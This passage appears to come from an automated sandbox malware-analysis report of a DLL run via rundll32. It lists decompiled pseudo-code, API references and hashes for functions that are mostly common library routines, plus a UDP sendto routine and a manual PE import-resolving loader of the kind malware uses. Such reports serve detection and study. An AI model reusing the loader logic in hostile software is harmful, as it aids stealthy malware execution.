							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E100222E5(_t29, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E1002222C(_t29, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

APIs

__cftof_l.LIBCMT ref: 10022401

Part of subcall function 1002222C: __fltout2.LIBCMT ref: 10022256

__cftog_l.LIBCMT ref: 10022427
__cftoe_l.LIBCMT ref: 10022459

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
Instruction ID: 8dbc0b72f00ea763734ae0c8b1a7260823f108f727578f4f2c9ad294c4834352
Opcode Fuzzy Hash: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
Instruction Fuzzy Hash: 4201287A40014ABBCF12AEC4EC41CEE3F66FB18294B958515FE1858531D236D9B2AB81

Uniqueness

Uniqueness Score: -1.00%

Function 1000FE47, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E1000FE47(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t9;
				struct HWND__* _t10;
				void* _t14;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t17;
				void* _t18;

				_t14 = __ecx;
				_t13 = __ebx;
				_t9 = GetDlgItem(_a4, _a8);
				_t15 = GetTopWindow;
				_t16 = _t9;
				if(_t16 == 0) {
					L6:
					_t10 = GetTopWindow(_a4);
					while(1) {
						_t17 = _t10;
						__eflags = _t17;
						if(_t17 == 0) {
							goto L10;
						}
						_t10 = E1000FE47(_t13, _t14, _t17, _a8, _a12);
						__eflags = _t10;
						if(_t10 == 0) {
							_t10 = GetWindow(_t17, 2);
							continue;
						}
						goto L10;
					}
				} else {
					if(GetTopWindow(_t16) == 0) {
						L3:
						_push(_t16);
						if(_a12 == 0) {
							return E1000FB5C(_t13, _t14, _t18);
						}
						_t10 = E1000FB83(_t14, _t15, _t16, __eflags);
						__eflags = _t10;
						if(_t10 == 0) {
							goto L6;
						}
					} else {
						_t10 = E1000FE47(__ebx, _t14, _t16, _a8, _a12);
						if(_t10 == 0) {
							goto L3;
						}
					}
				}
				L10:
				return _t10;
			}

APIs

GetDlgItem.USER32 ref: 1000FE52
GetTopWindow.USER32(00000000), ref: 1000FE65

Part of subcall function 1000FE47: GetWindow.USER32(00000000,00000002), ref: 1000FEAC

GetTopWindow.USER32(?), ref: 1000FE95

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: c12eecb807ab7f0029ae595babd55ab8876d87e96eec09ecdb4c3faaf2806783
Instruction ID: 3243c1bb31c4da8a8ed3b9d60ce207d24ba739ee5e1db1414c8eeda74806f304
Opcode Fuzzy Hash: c12eecb807ab7f0029ae595babd55ab8876d87e96eec09ecdb4c3faaf2806783
Instruction Fuzzy Hash: 07018F374016AAB7EB229F60CC00AAF3A98EF447D0F018018FD049153AD731DA12BAA0

Uniqueness

Uniqueness Score: -1.00%

Function 1001D6BC, Relevance: 6.0, APIs: 4, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E1001D6BC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x1002fae0);
				E1001984C(__ebx, __edi, __esi);
				_t31 = E1001BF79(__edx, __edi, _t35);
				_t15 =  *0x1005826c; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E1001A549(0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x10058170; // 0x2e41308
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x10057d48;
								if(__eflags != 0) {
									_push(_t33);
									E10016380(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x10058170; // 0x2e41308
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x10058170; // 0x2e41308
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E1001D757();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E10017DA6(_t25, _t29, _t31, 0x20);
				}
				return E10019891(_t33);
			}

APIs

Part of subcall function 1001BF79: __getptd_noexit.LIBCMT ref: 1001BF7A
Part of subcall function 1001BF79: __amsg_exit.LIBCMT ref: 1001BF87

__amsg_exit.LIBCMT ref: 1001D6E8
__lock.LIBCMT ref: 1001D6F8
InterlockedDecrement.KERNEL32(?), ref: 1001D715
InterlockedIncrement.KERNEL32(02E41308), ref: 1001D740

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd_noexit__lock
String ID:
API String ID: 2880340415-0
Opcode ID: c820c896aabaa0a2095c39d05bd9b26938a44304a92efda62120de517e880afa
Instruction ID: ba7e7af5003a78fddfad0021ce05134b2f36e9a59f0d2c47ef46babd1389d2ef
Opcode Fuzzy Hash: c820c896aabaa0a2095c39d05bd9b26938a44304a92efda62120de517e880afa
Instruction Fuzzy Hash: 95016D39904A21EBEB41FB65988679D77A4FF05790F11410AE804AF291DB34E9C2CB95

Uniqueness

Uniqueness Score: -1.00%

Function 100126F9, Relevance: 6.0, APIs: 4, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E100126F9(void* __ecx, CHAR* _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HRSRC__* _t8;
				void* _t9;
				void* _t11;
				void* _t14;
				void* _t15;
				void* _t16;
				struct HINSTANCE__* _t17;
				void* _t18;

				_t14 = 0;
				_t11 = 0;
				_t19 = _a4;
				_t18 = __ecx;
				if(_a4 == 0) {
					L4:
					_t16 = E100122B0(_t11, _t18, _t11);
					if(_t11 != 0 && _t14 != 0) {
						FreeResource(_t14);
					}
					return _t16;
				}
				_t17 =  *(E1000D5EC(0, 0, _t15, _t19) + 0xc);
				_t8 = FindResourceA(_t17, _a4, 0xf0);
				if(_t8 == 0) {
					goto L4;
				}
				_t9 = LoadResource(_t17, _t8);
				_t14 = _t9;
				if(_t14 != 0) {
					_t11 = LockResource(_t14);
					goto L4;
				}
				return _t9;
			}

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 1001271B
LoadResource.KERNEL32(?,00000000,?,?,?,?,1000C840,?,?,10008B31), ref: 10012727
LockResource.KERNEL32(00000000,?,?,?,?,1000C840,?,?,10008B31), ref: 10012734
FreeResource.KERNEL32(00000000,00000000,?,?,?,?,1000C840,?,?,10008B31), ref: 1001274F

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 8a3f5fca82a0f9630a7b8cc452aba64c847f2dafa8f29946bde4c5ad79aa4676
Instruction ID: 32ecfa8a0ceb179aec2dc768c20ccd4f8790d9104fa4174b83ef058a4c527ff5
Opcode Fuzzy Hash: 8a3f5fca82a0f9630a7b8cc452aba64c847f2dafa8f29946bde4c5ad79aa4676
Instruction Fuzzy Hash: 54F090762042226FA3019B675C88A3BB7ECEFC55E2B110039FE04D6291EE35CC629771

Uniqueness

Uniqueness Score: -1.00%

Function 10001360, Relevance: 6.0, APIs: 4, Instructions: 40
networkCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E10001360(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				short _v20;
				short _v22;
				char _v24;
				intOrPtr _v28;
				signed int _t15;
				short _t18;
				intOrPtr _t31;
				signed int _t33;

				_t15 =  *0x10057a08; // 0xef7d8b91
				_v8 = _t15 ^ _t33;
				_v28 = __ecx;
				_t18 = E100174D0(_t31,  &_v24, 0, 0x10);
				_v24 = 2;
				__imp__#11(_a4);
				_v20 = _t18;
				__imp__#9(_a8);
				_v22 = _t18;
				__imp__#20(_a12, _a16, 0,  &_v24, 0x10);
				return E100167D5(_v28, __ebx, _v8 ^ _t33, _a12, _t31, __esi,  *((intOrPtr*)(_v28 + 0x24)));
			}

0x10001366
0x1000136d
0x10001370
0x1000137b
0x10001383
0x1000138d
0x10001393
0x1000139b
0x100013a1
0x100013bc
0x100013cf

APIs

_memset.LIBCMT ref: 1000137B
inet_addr.WS2_32(?), ref: 1000138D
htons.WS2_32(?), ref: 1000139B
sendto.WS2_32(?,?,00000002,00000000,00000002,00000010), ref: 100013BC

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: _memsethtonsinet_addrsendto
String ID:
API String ID: 1158618643-0
Opcode ID: 55dc4d04b4578ce397bb679e501a1161249c23db44447d4e71df0ac46d681eb6
Instruction ID: 4ca8e198367322d4385a70dad1c3d41f0382a071c465ebc2c9307440f54d584b
Opcode Fuzzy Hash: 55dc4d04b4578ce397bb679e501a1161249c23db44447d4e71df0ac46d681eb6
Instruction Fuzzy Hash: D0017CB590020DABDB00DFA4CC86EAE77B8FF48300F104419F905AB281EB70AA40DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000CCD3, Relevance: 6.0, APIs: 4, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000CCD3() {
				intOrPtr _t16;
				struct HWND__* _t19;
				intOrPtr _t23;
				intOrPtr* _t28;
				void* _t29;

				_t28 =  *((intOrPtr*)(_t29 - 0x20));
				_t23 =  *((intOrPtr*)(_t29 - 0x24));
				if( *((intOrPtr*)(_t29 - 0x28)) != 0) {
					E10012913(_t23, 1);
				}
				if( *((intOrPtr*)(_t29 - 0x2c)) != 0) {
					EnableWindow( *(_t29 - 0x14), 1);
				}
				if( *(_t29 - 0x14) != 0) {
					_t19 = GetActiveWindow();
					_t34 = _t19 -  *((intOrPtr*)(_t28 + 0x20));
					if(_t19 ==  *((intOrPtr*)(_t28 + 0x20))) {
						SetActiveWindow( *(_t29 - 0x14));
					}
				}
				 *((intOrPtr*)( *_t28 + 0x60))();
				E1000C6E6(_t23, _t28, 0, _t28, _t34);
				if( *((intOrPtr*)(_t28 + 0x58)) != 0) {
					FreeResource( *(_t29 - 0x18));
				}
				_t16 =  *((intOrPtr*)(_t28 + 0x44));
				return E10017C60(_t16);
			}

APIs

EnableWindow.USER32(?,00000001), ref: 1000CCF3
GetActiveWindow.USER32 ref: 1000CCFE
SetActiveWindow.USER32(?,?,00000024,100014EC,00000000,EF7D8B91), ref: 1000CD0C
FreeResource.KERNEL32(?,?,00000024,100014EC,00000000,EF7D8B91), ref: 1000CD28

Part of subcall function 10012913: EnableWindow.USER32(?,EF7D8B91), ref: 10012920

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Window$ActiveEnable$FreeResource
String ID:
API String ID: 253586258-0
Opcode ID: 5728dce3dbdb708f9e7fb54369dca357d78a73ff54a3e2536421aa2b19b7c5fa
Instruction ID: b9d50a594c6b72ab84edc47d27728691b22d7b2ae70339502ef362fb55dd66ce
Opcode Fuzzy Hash: 5728dce3dbdb708f9e7fb54369dca357d78a73ff54a3e2536421aa2b19b7c5fa
Instruction Fuzzy Hash: 97F04F3890071DDBEF12DB64C98599DBBF2FF48781B60002AE442722A5CB326D81DF51

Uniqueness

Uniqueness Score: -1.00%

Function 1000AD21, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E1000AD21(void* __ecx) {
				signed int _v8;
				char _v16;
				char _v18;
				char _v280;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				long _t14;
				intOrPtr _t15;
				char* _t18;
				intOrPtr _t21;
				intOrPtr _t33;
				signed int _t36;

				_t11 =  *0x10057a08; // 0xef7d8b91
				_v8 = _t11 ^ _t36;
				_t35 = 0x104;
				_t14 = GetModuleFileNameA( *(__ecx + 0x44),  &_v280, 0x104);
				if(_t14 == 0 || _t14 == 0x104) {
					L4:
					_t15 = 0;
					__eflags = 0;
				} else {
					_t18 = PathFindExtensionA( &_v280);
					_t35 = "%s.dll";
					asm("movsd");
					asm("movsw");
					_t32 =  &_v280;
					_t41 = _t18 -  &_v280 + 7 - 0x106;
					asm("movsb");
					_t33 = _t33;
					if(_t18 -  &_v280 + 7 > 0x106) {
						goto L4;
					} else {
						E1000A7B3(_t21,  &_v280, _t33, "%s.dll", _t36, _t18,  &_v18 - _t18,  &_v16);
						_t15 = E1000AA3A(_t21,  &_v280, _t33, "%s.dll", _t41,  &_v280);
					}
				}
				return E100167D5(_t15, _t21, _v8 ^ _t36, _t32, _t33, _t35);
			}

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 1000AD47
PathFindExtensionA.SHLWAPI(?), ref: 1000AD5D

Part of subcall function 1000A7B3: _strcpy_s.LIBCMT ref: 1000A7BF

Part of subcall function 1000AA3A: __EH_prolog3.LIBCMT ref: 1000AA59
Part of subcall function 1000AA3A: GetModuleHandleA.KERNEL32(kernel32.dll,00000058), ref: 1000AA7A
Part of subcall function 1000AA3A: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 1000AA8B
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC1
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC9
Part of subcall function 1000AA3A: GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 1000AADD
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(?), ref: 1000AB01
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(000003FF), ref: 1000AB07
Part of subcall function 1000AA3A: GetModuleFileNameA.KERNEL32(10000000,?,00000105), ref: 1000AB40

Strings

%s.dll, xrefs: 1000AD63

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressFileNameProc$ExtensionFindH_prolog3HandlePath_strcpy_s
String ID: %s.dll
API String ID: 3444012488-3668843792
Opcode ID: 6c30b6a237bf11204af5acb5ac5b7830e50b8e52d34c93bd03a652aa76484c2b
Instruction ID: a3b0371864cf8cb86b39257a88ab5a21b33b2e0076ae9bf6281b2400efea00f1
Opcode Fuzzy Hash: 6c30b6a237bf11204af5acb5ac5b7830e50b8e52d34c93bd03a652aa76484c2b
Instruction Fuzzy Hash: AD01F972A00018AFEF08DB74CD45DEE73B8DF46740F4102AAE906D3544EA70AB848662

Uniqueness

Uniqueness Score: -1.00%

Function 10002670, Relevance: 5.2, APIs: 4, Instructions: 181
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10002670(intOrPtr __ecx, intOrPtr* _a4) {
				void* _v8;
				intOrPtr* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				signed int* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _t114;
				intOrPtr _t116;
				intOrPtr _t133;
				intOrPtr _t138;
				void* _t202;
				void* _t203;

				_v44 = __ecx;
				_v20 =  *((intOrPtr*)(_a4 + 4));
				_v16 = 1;
				_v12 =  *_a4 + 0x80;
				if( *((intOrPtr*)(_v12 + 4)) != 0) {
					_v8 = _v20 +  *_v12;
					while(IsBadReadPtr(_v8, 0x14) == 0 &&  *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t114 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x1c))))(_v20 +  *((intOrPtr*)(_v8 + 0xc)),  *((intOrPtr*)(_a4 + 0x28)));
						_t203 = _t202 + 8;
						_v36 = _t114;
						if(_v36 != 0) {
							_t116 = E10001F00( *((intOrPtr*)(_a4 + 8)), 4 +  *(_a4 + 0xc) * 4);
							_t202 = _t203 + 8;
							_v28 = _t116;
							if(_v28 != 0) {
								 *((intOrPtr*)(_a4 + 8)) = _v28;
								 *((intOrPtr*)( *((intOrPtr*)(_a4 + 8)) +  *(_a4 + 0xc) * 4)) = _v36;
								 *(_a4 + 0xc) =  *(_a4 + 0xc) + 1;
								if( *_v8 == 0) {
									_v32 = _v20 +  *((intOrPtr*)(_v8 + 0x10));
									_v24 = _v20 +  *((intOrPtr*)(_v8 + 0x10));
								} else {
									_v32 = _v20 +  *_v8;
									_v24 = _v20 +  *((intOrPtr*)(_v8 + 0x10));
								}
								while( *_v32 != 0) {
									if(( *_v32 & 0x80000000) == 0) {
										_v40 = _v20 +  *_v32;
										_t133 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x20))))(_v36, _v40 + 2,  *((intOrPtr*)(_a4 + 0x28)));
										_t202 = _t202 + 0xc;
										 *_v24 = _t133;
									} else {
										_t138 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x20))))(_v36,  *_v32 & 0x0000ffff,  *((intOrPtr*)(_a4 + 0x28)));
										_t202 = _t202 + 0xc;
										 *_v24 = _t138;
									}
									if( *_v24 != 0) {
										_v32 =  &(_v32[1]);
										_v24 = _v24 + 4;
										continue;
									} else {
										_v16 = 0;
										break;
									}
								}
								if(_v16 != 0) {
									_v8 = _v8 + 0x14;
									continue;
								}
								 *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x24))))(_v36,  *((intOrPtr*)(_a4 + 0x28)));
								SetLastError(0x7f);
								break;
							}
							 *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x24))))(_v36,  *((intOrPtr*)(_a4 + 0x28)));
							SetLastError(0xe);
							_v16 = 0;
							break;
						}
						SetLastError(0x7e);
						_v16 = 0;
						break;
					}
					return _v16;
				}
				return 1;
			}

APIs

IsBadReadPtr.KERNEL32(00000000,00000014,?,?,?,?,10002C4E,00000000,00000000), ref: 100026C5
SetLastError.KERNEL32(0000007E), ref: 10002707

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLastRead
String ID:
API String ID: 4100373531-0
Opcode ID: c2a98b38cbef77d555c79c56aa9516de66013d98deec03bde9f9d281594a25e0
Instruction ID: 5b18a635dcf056017fd1ee77a603d3a0bb8baed770e763f1765233b10108ec1d
Opcode Fuzzy Hash: c2a98b38cbef77d555c79c56aa9516de66013d98deec03bde9f9d281594a25e0
Instruction Fuzzy Hash: 7381BAB4A05209DFDB04CF94C880A9EB7B1FF88354F248159E819AB355D735EE82CF94

Uniqueness

Uniqueness Score: -1.00%

Function 1001431B, Relevance: 5.0, APIs: 4, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E1001431B(void* __ebx, void* __esi, void* __ebp, signed int _a4) {
				void* __edi;
				struct _CRITICAL_SECTION* _t4;
				void* _t7;
				void* _t10;
				signed int _t11;
				void* _t14;
				intOrPtr* _t15;
				void* _t17;

				_t17 = __ebp;
				_t14 = __esi;
				_t7 = __ebx;
				_t11 = _a4;
				_t20 = _t11 - 0x11;
				if(_t11 >= 0x11) {
					_t4 = E1000A0DB(__ebx, _t10, _t11, __esi, _t20);
				}
				if( *0x1005aac0 == 0) {
					_t4 = E100142F7();
				}
				_push(_t7);
				_push(_t17);
				_push(_t14);
				_t15 = 0x1005ac78 + _t11 * 4;
				if( *_t15 == 0) {
					EnterCriticalSection(0x1005ac60);
					if( *_t15 == 0) {
						_t4 = 0x1005aac8 + _t11 * 0x18;
						InitializeCriticalSection(_t4);
						 *_t15 =  *_t15 + 1;
					}
					LeaveCriticalSection(0x1005ac60);
				}
				EnterCriticalSection(0x1005aac8 + _t11 * 0x18);
				return _t4;
			}

APIs

EnterCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014357
InitializeCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014366
LeaveCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014373
EnterCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 1001437F

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalSection$Enter$Exception@8H_prolog3InitializeLeaveThrow
String ID:
API String ID: 2895727460-0
Opcode ID: fc52205701aaf5afb0ce0b222181c69e48b6197276059f190c1bff8ca6cb0e4a
Instruction ID: b2ae72b8ab0fae698251e24a42d2174316ff56aad592cf34d272a36c1b8e20b9
Opcode Fuzzy Hash: fc52205701aaf5afb0ce0b222181c69e48b6197276059f190c1bff8ca6cb0e4a
Instruction Fuzzy Hash: 05F090739002169BE700DF59CC89A1ABBA9FBC32A5F93011AF14096121DB3199C5CA61

Uniqueness

Uniqueness Score: -1.00%

Function 1001398E, Relevance: 5.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1001398E(long* __ecx, signed int _a4) {
				void* _t9;
				struct _CRITICAL_SECTION* _t12;
				signed int _t14;
				long* _t16;

				_t16 = __ecx;
				_t1 =  &(_t16[7]); // 0x1005aaa8
				_t12 = _t1;
				EnterCriticalSection(_t12);
				_t14 = _a4;
				if(_t14 <= 0) {
					L5:
					LeaveCriticalSection(_t12);
					return 0;
				}
				_t3 =  &(_t16[3]); // 0x3
				if(_t14 >=  *_t3) {
					goto L5;
				}
				_t9 = TlsGetValue( *_t16);
				if(_t9 == 0 || _t14 >=  *((intOrPtr*)(_t9 + 8))) {
					goto L5;
				} else {
					LeaveCriticalSection(_t12);
					return  *((intOrPtr*)( *((intOrPtr*)(_t9 + 0xc)) + _t14 * 4));
				}
			}

APIs

EnterCriticalSection.KERNEL32(1005AAA8,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 10013997
TlsGetValue.KERNEL32(1005AA8C,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 100139AC
LeaveCriticalSection.KERNEL32(1005AAA8,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 100139C2
LeaveCriticalSection.KERNEL32(1005AAA8,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 100139CD

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
